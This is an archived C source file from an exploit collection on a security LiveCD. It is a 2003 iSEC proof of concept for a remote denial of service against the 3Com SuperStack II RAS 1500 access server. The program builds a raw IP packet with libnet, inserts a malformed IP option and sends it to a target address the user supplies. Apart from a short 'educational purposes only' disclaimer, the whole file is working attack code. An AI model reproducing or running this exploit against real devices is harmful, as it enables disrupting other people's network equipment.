home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / network / 3com / isec-options.c < prev   
C/C++ Source or Header  |  2005-02-12  |  2KB  |  74 lines

  1. /*
  2.  * 3com superstack II RAS 1500 remote Denial of Service
  3.  *
  4.  * Piotr Chytla <pch@isec.pl>
  5.  *
  6.  * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
  7.  * IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
  8.  *
  9.  * (c) 2003 Copyright by iSEC Security Research
  10.  */
  11.  
  12. #include <stdio.h>
  13. #include <sys/types.h>
  14. #include <sys/socket.h>
  15. #include <libnet.h>
  16. #define OPT_LEN 4
  17. void usage()
  18. {
  19.   printf("Args: \n");
  20.   printf("-s [source address]\n");
  21.   printf("-d [destination address]\n");
  22. }
  23.  
  24. int main(int argc,char *argv[])
  25. {
  26.  char a;
  27.  int sock,r;
  28.  u_long src;
  29.  u_long dst;
  30.  char pktbuf[IP_MAXPACKET];
  31.  char payload[]="ABCDEFGHIJKLMNOPRST";
  32.  u_char options[4];
  33.  struct ipoption ipopt;
  34.  bzero(options,OPT_LEN);
  35.  while((a=getopt(argc,argv,"d:s:h?"))!=EOF)
  36.  {
  37.      switch(a) {
  38.          case 'h' : { usage(); exit(1); }
  39.          case 's' : { src=libnet_name_resolve(optarg,0); break;}
  40.          case 'd' : { dst=libnet_name_resolve(optarg,0); break;}
  41.         }
  42.  }
  43.  sock = libnet_open_raw_sock(IPPROTO_RAW);
  44.  if (sock<0)
  45.  {
  46.  perror("socket");
  47.  exit(1);
  48.  }
  49.  
  50.  libnet_build_ip(strlen(payload),0,0x1337,0,255,0xaa,src,dst,payload,strlen(payload),pktbuf);
  51.   memcpy(ipopt.ipopt_list, options, OPT_LEN);
  52.   *(ipopt.ipopt_list)     = 0xe4;
  53.   *(ipopt.ipopt_list+1)   = 0;
  54.   *(ipopt.ipopt_list+1)   = 0;
  55.   *(ipopt.ipopt_list+1)   = 0;
  56.   r=libnet_insert_ipo(&ipopt,OPT_LEN,pktbuf);
  57.   if (r <0)
  58.    {
  59.         libnet_close_raw_sock(sock);
  60.         printf("Error ip options insertion failed\n");
  61.         exit(1);
  62.    }
  63.   r=libnet_write_ip(sock,pktbuf,LIBNET_IP_H+OPT_LEN+strlen(payload));
  64.   if (r<0)
  65.   {
  66.    libnet_close_raw_sock(sock);
  67.    printf("Error write_ip \n");
  68.    exit(1);
  69.   }
  70.  libnet_close_raw_sock(sock);
  71.  return 0;
  72. }
  73.  
  74.